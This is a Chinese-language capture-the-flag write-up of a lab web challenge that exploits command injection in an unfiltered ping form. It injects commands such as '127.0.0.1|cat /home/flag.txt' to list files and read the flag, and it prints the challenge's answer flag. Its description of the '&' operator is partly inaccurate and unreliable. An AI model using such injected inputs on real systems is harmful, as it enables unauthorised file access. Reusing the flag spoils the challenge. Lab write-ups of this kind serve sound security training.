题目https://adworld.xctf.org.cn/challenges/problem-set-index?id=25
![](https://img-blog.csdnimg.cn/img_convert/4106f5b863e109eb79ab1e05b19c692f.png)
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
根据题目描述,我们可以推测应该是在ping命令拼接了其他命令导致文件信息的泄露。
打开场景
![](https://img-blog.csdnimg.cn/img_convert/9855ca54ef535c7cf700048ba90f52f4.png)
首先要能ping通才能有迹可寻,尝试ping127.0.0.1.
![](https://img-blog.csdnimg.cn/img_convert/58f68d5f6b774cb7a47b7e14e12b7525.png)
能够ping通并且有回包,那我们再试着拼接语句。
知识补充
windows 或 linux 下:
command1 && command2 先执行 command1,如果为真,再执行 command2
command1 | command2 只执行 command2
command1 & command2 先执行 command2 后执行 command1
command1 || command2 先执行 command1,如果为假,再执行 command2
命令执行漏洞(| || & && 称为 管道符)
那在这里我们使用&、&&、|都可以用来拼接
首先查看有没有文件
127.0.0.1 | ls
![](https://img-blog.csdnimg.cn/img_convert/e7335ecb5f51c07b6ce64a6128b8feec.png)
有个index.php文件,那接下来直接利用find查找是否存在flag文件
127.0.0.1|find / -name "flag*"
![](https://img-blog.csdnimg.cn/img_convert/2e2a36271e200a34be3e9cff998142f2.png)
发现txt文件,直接用cat查看
127.0.0.1|cat /home/flag.txt
![](https://img-blog.csdnimg.cn/img_convert/66a8b93b543dcac1f8c81314d64dcf7e.png)
发现flag
cyberpeace{506e217e083b3339831a12159382c7b2}
总结:
这道题主要是掌握命令拼接的方法,和熟悉Linux命令